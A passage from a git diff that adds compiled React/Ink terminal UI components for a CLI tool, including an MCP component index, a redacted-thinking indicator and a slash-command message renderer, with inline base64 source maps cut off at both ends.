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
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/components/mcp/index.ts b/_all-in-one-upload/cc-haha/src/components/mcp/index.ts
new file mode 100644
index 0000000..1cca323
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/components/mcp/index.ts
@@ -0,0 +1,9 @@
+export { MCPAgentServerMenu } from './MCPAgentServerMenu.js'
+export { MCPListPanel } from './MCPListPanel.js'
+export { MCPReconnect } from './MCPReconnect.js'
+export { MCPRemoteServerMenu } from './MCPRemoteServerMenu.js'
+export { MCPSettings } from './MCPSettings.js'
+export { MCPStdioServerMenu } from './MCPStdioServerMenu.js'
+export { MCPToolDetailView } from './MCPToolDetailView.js'
+export { MCPToolListView } from './MCPToolListView.js'
+export type { AgentMcpServerInfo, MCPViewState, ServerInfo } from './types.js'
diff --git a/_all-in-one-upload/cc-haha/src/components/messages/AssistantRedactedThinkingMessage.tsx b/_all-in-one-upload/cc-haha/src/components/messages/AssistantRedactedThinkingMessage.tsx
new file mode 100644
index 0000000..64ac8a1
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/components/messages/AssistantRedactedThinkingMessage.tsx
@@ -0,0 +1,31 @@
+import { c as _c } from "react/compiler-runtime";
+import React from 'react';
+import { Box, Text } from '../../ink.js';
+type Props = {
+  addMargin: boolean;
+};
+export function AssistantRedactedThinkingMessage(t0) {
+  const $ = _c(3);
+  const {
+    addMargin: t1
+  } = t0;
+  const addMargin = t1 === undefined ? false : t1;
+  const t2 = addMargin ? 1 : 0;
+  let t3;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t3 = <Text dimColor={true} italic={true}>✻ Thinking…</Text>;
+    $[0] = t3;
+  } else {
+    t3 = $[0];
+  }
+  let t4;
+  if ($[1] !== t2) {
+    t4 = <Box marginTop={t2}>{t3}</Box>;
+    $[1] = t2;
+    $[2] = t4;
+  } else {
+    t4 = $[2];
+  }
+  return t4;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIkJveCIsIlRleHQiLCJQcm9wcyIsImFkZE1hcmdpbiIsIkFzc2lzdGFudFJlZGFjdGVkVGhpbmtpbmdNZXNzYWdlIiwidDAiLCIkIiwiX2MiLCJ0MSIsInVuZGVmaW5lZCIsInQyIiwidDMiLCJTeW1ib2wiLCJmb3IiLCJ0NCJdLCJzb3VyY2VzIjpbIkFzc2lzdGFudFJlZGFjdGVkVGhpbmtpbmdNZXNzYWdlLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQgeyBCb3gsIFRleHQgfSBmcm9tICcuLi8uLi9pbmsuanMnXG5cbnR5cGUgUHJvcHMgPSB7XG4gIGFkZE1hcmdpbjogYm9vbGVhblxufVxuXG5leHBvcnQgZnVuY3Rpb24gQXNzaXN0YW50UmVkYWN0ZWRUaGlua2luZ01lc3NhZ2Uoe1xuICBhZGRNYXJnaW4gPSBmYWxzZSxcbn06IFByb3BzKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgcmV0dXJuIChcbiAgICA8Qm94IG1hcmdpblRvcD17YWRkTWFyZ2luID8gMSA6IDB9PlxuICAgICAgPFRleHQgZGltQ29sb3IgaXRhbGljPlxuICAgICAgICDinLsgVGhpbmtpbmfigKZcbiAgICAgIDwvVGV4dD5cbiAgICA8L0JveD5cbiAgKVxufVxuIl0sIm1hcHBpbmdzIjoiO0FBQUEsT0FBT0EsS0FBSyxNQUFNLE9BQU87QUFDekIsU0FBU0MsR0FBRyxFQUFFQyxJQUFJLFFBQVEsY0FBYztBQUV4QyxLQUFLQyxLQUFLLEdBQUc7RUFDWEMsU0FBUyxFQUFFLE9BQU87QUFDcEIsQ0FBQztBQUVELE9BQU8sU0FBQUMsaUNBQUFDLEVBQUE7RUFBQSxNQUFBQyxDQUFBLEdBQUFDLEVBQUE7RUFBMEM7SUFBQUosU0FBQSxFQUFBSztFQUFBLElBQUFILEVBRXpDO0VBRE4sTUFBQUYsU0FBQSxHQUFBSyxFQUFpQixLQUFqQkMsU0FBaUIsR0FBakIsS0FBaUIsR0FBakJELEVBQWlCO0VBR0MsTUFBQUUsRUFBQSxHQUFBUCxTQUFTLEdBQVQsQ0FBaUIsR0FBakIsQ0FBaUI7RUFBQSxJQUFBUSxFQUFBO0VBQUEsSUFBQUwsQ0FBQSxRQUFBTSxNQUFBLENBQUFDLEdBQUE7SUFDL0JGLEVBQUEsSUFBQyxJQUFJLENBQUMsUUFBUSxDQUFSLEtBQU8sQ0FBQyxDQUFDLE1BQU0sQ0FBTixLQUFLLENBQUMsQ0FBQyxXQUV0QixFQUZDLElBQUksQ0FFRTtJQUFBTCxDQUFBLE1BQUFLLEVBQUE7RUFBQTtJQUFBQSxFQUFBLEdBQUFMLENBQUE7RUFBQTtFQUFBLElBQUFRLEVBQUE7RUFBQSxJQUFBUixDQUFBLFFBQUFJLEVBQUE7SUFIVEksRUFBQSxJQUFDLEdBQUcsQ0FBWSxTQUFpQixDQUFqQixDQUFBSixFQUFnQixDQUFDLENBQy9CLENBQUFDLEVBRU0sQ0FDUixFQUpDLEdBQUcsQ0FJRTtJQUFBTCxDQUFBLE1BQUFJLEVBQUE7SUFBQUosQ0FBQSxNQUFBUSxFQUFBO0VBQUE7SUFBQUEsRUFBQSxHQUFBUixDQUFBO0VBQUE7RUFBQSxPQUpOUSxFQUlNO0FBQUEiLCJpZ25vcmVMaXN0IjpbXX0=
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/components/messages/UserCommandMessage.tsx b/_all-in-one-upload/cc-haha/src/components/messages/UserCommandMessage.tsx
new file mode 100644
index 0000000..19b74c7
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/components/messages/UserCommandMessage.tsx
@@ -0,0 +1,108 @@
+import { c as _c } from "react/compiler-runtime";
+import type { TextBlockParam } from '@anthropic-ai/sdk/resources/index.mjs';
+import figures from 'figures';
+import * as React from 'react';
+import { COMMAND_MESSAGE_TAG } from '../../constants/xml.js';
+import { Box, Text } from '../../ink.js';
+import { extractTag } from '../../utils/messages.js';
+type Props = {
+  addMargin: boolean;
+  param: TextBlockParam;
+};
+export function UserCommandMessage(t0) {
+  const $ = _c(19);
+  const {
+    addMargin,
+    param: t1
+  } = t0;
+  const {
+    text
+  } = t1;
+  let t2;
+  if ($[0] !== text) {
+    t2 = extractTag(text, COMMAND_MESSAGE_TAG);
+    $[0] = text;
+    $[1] = t2;
+  } else {
+    t2 = $[1];
+  }
+  const commandMessage = t2;
+  let t3;
+  if ($[2] !== text) {
+    t3 = extractTag(text, "command-args");
+    $[2] = text;
+    $[3] = t3;
+  } else {
+    t3 = $[3];
+  }
+  const args = t3;
+  const isSkillFormat = extractTag(text, "skill-format") === "true";
+  if (!commandMessage) {
+    return null;
+  }
+  if (isSkillFormat) {
+    const t4 = addMargin ? 1 : 0;
+    let t5;
+    if ($[4] === Symbol.for("react.memo_cache_sentinel")) {
+      t5 = <Text color="subtle">{figures.pointer} </Text>;
+      $[4] = t5;
+    } else {
+      t5 = $[4];
+    }
+    let t6;
+    if ($[5] !== commandMessage) {
+      t6 = <Text>{t5}<Text color="text">Skill({commandMessage})</Text></Text>;
+      $[5] = commandMessage;
+      $[6] = t6;
+    } else {
+      t6 = $[6];
+    }
+    let t7;
+    if ($[7] !== t4 || $[8] !== t6) {
+      t7 = <Box flexDirection="column" marginTop={t4} backgroundColor="userMessageBackground" paddingRight={1}>{t6}</Box>;
+      $[7] = t4;
+      $[8] = t6;
+      $[9] = t7;
+    } else {
+      t7 = $[9];
+    }
+    return t7;
+  }
+  let t4;
+  if ($[10] !== args || $[11] !== commandMessage) {
+    t4 = [commandMessage, args].filter(Boolean);
+    $[10] = args;
+    $[11] = commandMessage;
+    $[12] = t4;
+  } else {
+    t4 = $[12];
+  }
+  const content = `/${t4.join(" ")}`;
+  const t5 = addMargin ? 1 : 0;
+  let t6;
+  if ($[13] === Symbol.for("react.memo_cache_sentinel")) {
+    t6 = <Text color="subtle">{figures.pointer} </Text>;
+    $[13] = t6;
+  } else {
+    t6 = $[13];
+  }
+  let t7;
+  if ($[14] !== content) {
+    t7 = <Text>{t6}<Text color="text">{content}</Text></Text>;
+    $[14] = content;
+    $[15] = t7;
+  } else {
+    t7 = $[15];
+  }
+  let t8;
+  if ($[16] !== t5 || $[17] !== t7) {
+    t8 = <Box flexDirection="column" marginTop={t5} backgroundColor="userMessageBackground" paddingRight={1}>{t7}</Box>;
+    $[16] = t5;
+    $[17] = t7;
+    $[18] = t8;
+  } else {
+    t8 = $[18];
+  }
+  return t8;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJUZXh0QmxvY2tQYXJhbSIsImZpZ3VyZXMiLCJSZWFjdCIsIkNPTU1BTkRfTUVTU0FHRV9UQUciLCJCb3giLCJUZXh0IiwiZXh0cmFjdFRhZyIsIlByb3BzIiwiYWRkTWFyZ2luIiwicGFyYW0iLCJVc2VyQ29tbWFuZE1lc3NhZ2UiLCJ0MCIsIiQiLCJfYyIsInQxIiwidGV4dCIsInQyIiwiY29tbWFuZE1lc3NhZ2UiLCJ0MyIsImFyZ3MiLCJpc1NraWxsRm9ybWF0IiwidDQiLCJ0NSIsIlN5bWJvbCIsImZvciIsInBvaW50ZXIiLCJ0NiIsInQ3IiwiZmlsdGVyIiwiQm9vbGVhbiIsImNvbnRlbnQiLCJqb2luIiwidDgiXSwic291cmNlcyI6WyJVc2VyQ29tbWFuZE1lc3NhZ2UudHN4Il0sInNvdXJjZXNDb250ZW50IjpbImltcG9ydCB0eXBlIHsgVGV4dEJsb2NrUGFyYW0gfSBmcm9tICdAYW50aHJvcGljLWFpL3Nkay9yZXNvdXJjZXMvaW5kZXgubWpzJ1xuaW1wb3J0IGZpZ3VyZXMgZnJvbSAnZmlndXJlcydcbmltcG9ydCAqIGFzIFJlYWN0IGZyb20gJ3JlYWN0J1xuaW1wb3J0IHsgQ09NTUFORF9NRVNTQUdFX1RBRyB9IGZyb20gJy4uLy4uL2NvbnN0YW50cy94bWwuanMnXG5pbXBvcnQgeyBCb3gsIFRleHQgfSBmcm9tICcuLi8uLi9pbmsuanMnXG5pbXBvcnQgeyBleHRyYWN0VGFnIH0gZnJvbSAnLi4vLi4vdXRpbHMvbWVzc2FnZXMuanMnXG5cbnR5cGUgUHJvcHMgPSB7XG4gIGFkZE1hcmdpbjogYm9vbGVhblxuICBwYXJhbTogVGV4dEJsb2NrUGFyYW1cbn1cblxuZXhwb3J0IGZ1bmN0aW9uIFVzZXJDb21tYW5kTWVzc2FnZSh7XG4gIGFkZE1hcmdpbixcbiAgcGFyYW06IHsgdGV4dCB9LFxufTogUHJvcHMpOiBSZWFjdC5SZWFjdE5vZGUge1xuICBjb25zdCBjb21tYW5kTWVzc2FnZSA9IGV4dHJhY3RUYWcodGV4dCwgQ09NTUFORF9NRVNTQUdFX1RBRylcbiAgY29uc3QgYXJncyA9IGV4dHJhY3RUYWcodGV4dCwgJ2NvbW1hbmQtYXJncycpXG4gIGNvbnN0IGlzU2tpbGxGb3JtYXQgPSBleHRyYWN0VGFnKHRleHQsICdza2lsbC1mb3JtYXQnKSA9PT0gJ3RydWUnXG5cbiAgaWYgKCFjb21tYW5kTWVzc2FnZSkge1xuICAgIHJldHVybiBudWxsXG4gIH1cblxuICAvLyBTa2lsbHMgdXNlIFwiU2tpbGwobmFtZSlcIiBmb3JtYXRcbiAgaWYgKGlzU2tpbGxGb3JtYXQpIHtcbiAgICByZXR1cm4gKFxuICAgICAgPEJveFxuICAgICAgICBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCJcbiAgICAgICAgbWFyZ2luVG9wPXthZGRNYXJnaW4gPyAxIDogMH1cbiAgICAgICAgYmFja2dyb3VuZENvbG9yPVwidXNlck1lc3NhZ2VCYWNrZ3JvdW5kXCJcbiAgICAgICAgcGFkZGluZ1JpZ2h0PXsxfVxuICAgICAgPlxuICAgICAgICA8VGV4dD5cbiAgICAgICAgICA8VGV4dCBjb2xvcj1cInN1YnRsZVwiPntmaWd1cmVzLnBvaW50ZXJ9IDwvVGV4dD5cbiAgICAgICAgICA8VGV4dCBjb2xvcj1cInRleHRcIj5Ta2lsbCh7Y29tbWFuZE1lc3NhZ2V9KTwvVGV4dD5cbiAgICAgICAgPC9UZXh0PlxuICAgICAgPC9Cb3g+XG4gICAgKVxuICB9XG5cbiAgLy8gU2xhc2ggY29tbWFuZCBmb3JtYXQ6IHNob3cgYXMgXCLina8gL2NvbW1hbmQgYXJnc1wiXG4gIGNvbnN0IGNvbnRlbnQgPSBgLyR7W2NvbW1hbmRNZXNzYWdlLCBhcmdzXS5maWx0ZXIoQm9vbGVhbikuam9pbignICcpfWBcbiAgcmV0dXJuIChcbiAgICA8Qm94XG4gICAgICBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCJcbiAgICAgIG1hcmdpblRvcD17YWRkTWFyZ2luID8gMSA6IDB9XG4gICAgICBiYWNrZ3JvdW5kQ29sb3I9XCJ1c2VyTWVzc2FnZUJhY2tncm91bmRcIlxuICAgICAgcGFkZGluZ1JpZ2h0PXsxfVxuICAgID5cbiAgICAgIDxUZXh0PlxuICAgICAgICA8VGV4dCBjb2xvcj1cInN1YnRsZVwiPntmaWd1cmVzLnBvaW50ZXJ9IDwvVGV4dD5cbiAgICAgICAgPFRleHQgY29sb3I9XCJ0ZXh0XCI+e2NvbnRlbnR9PC9UZXh0PlxuICAgICAgPC9UZXh0PlxuICAgIDwvQm94PlxuICApXG59XG4iXSwibWFwcGluZ3MiOiI7QUFBQSxjQUFjQSxjQUFjLFFBQVEsdUNBQXVDO0FBQzNFLE9BQU9DLE9BQU8sTUFBTSxTQUFTO0FBQzdCLE9BQU8sS0FBS0MsS0FBSyxNQUFNLE9BQU87QUFDOUIsU0FBU0MsbUJBQW1CLFFBQVEsd0JBQXdCO0FBQzVELFNBQVNDLEdBQUcsRUFBRUMsSUFBSSxRQUFRLGNBQWM7QUFDeEMsU0FBU0MsVUFBVSxRQUFRLHlCQUF5QjtBQUVwRCxLQUFLQyxLQUFLLEdBQUc7RUFDWEMsU0FBUyxFQUFFLE9BQU87RUFDbEJDLEtBQUssRUFBRVQsY0FBYztBQUN2QixDQUFDO0FBRUQsT0FBTyxTQUFBVSxtQkFBQUMsRUFBQTtFQUFBLE1BQUFDLENBQUEsR0FBQUMsRUFBQTtFQUE0QjtJQUFBTCxTQUFBO0lBQUFDLEtBQUEsRUFBQUs7RUFBQSxJQUFBSCxFQUczQjtFQURDO0lBQUFJO0VBQUEsSUFBQUQsRUFBUTtFQUFBLElBQUFFLEVBQUE7RUFBQSxJQUFBSixDQUFBLFFBQUFHLElBQUE7SUFFUUMsRUFBQSxHQUFBVixVQUFVLENBQUNTLElBQUksRUFBRVosbUJBQW1CLENBQUM7SUFBQVMsQ0FBQSxNQUFBRyxJQUFBO0lBQUFILENBQUEsTUFBQUksRUFBQTtFQUFBO0lBQUFBLEVBQUEsR0FBQUosQ0FBQTtFQUFBO0VBQTVELE1BQUFLLGNBQUEsR0FBdUJELEVBQXFDO0VBQUEsSUFBQUUsRUFBQTtFQUFBLElBQUFOLENBQUEsUUFBQUcsSUFBQTtJQUMvQ0csRUFBQSxHQUFBWixVQUFVLENBQUNTLElBQUksRUFBRSxjQUFjLENBQUM7SUFBQUgsQ0FBQSxNQUFBRyxJQUFBO0lBQUFILENBQUEsTUFBQU0sRUFBQTtFQUFBO0lBQUFBLEVBQUEsR0FBQU4sQ0FBQTtFQUFBO0VBQTdDLE1BQUFPLElBQUEsR0FBYUQsRUFBZ0M7RUFDN0MsTUFBQUUsYUFBQSxHQUFzQmQsVUFBVSxDQUFDUyxJQUFJLEVBQUUsY0FBYyxDQUFDLEtBQUssTUFBTTtFQUVqRSxJQUFJLENBQUNFLGNBQWM7SUFBQSxPQUNWLElBQUk7RUFBQTtFQUliLElBQUlHLGFBQWE7SUFJQSxNQUFBQyxFQUFBLEdBQUFiLFNBQVMsR0FBVCxDQUFpQixHQUFqQixDQUFpQjtJQUFBLElBQUFjLEVBQUE7SUFBQSxJQUFBVixDQUFBLFFBQUFXLE1BQUEsQ0FBQUMsR0FBQTtNQUsxQkYsRUFBQSxJQUFDLElBQUksQ0FBTyxLQUFRLENBQVIsUUFBUSxDQUFFLENBQUFyQixPQUFPLENBQUF3QixPQUFPLENBQUUsQ0FBQyxFQUF0QyxJQUFJLENBQXlDO01BQUFiLEN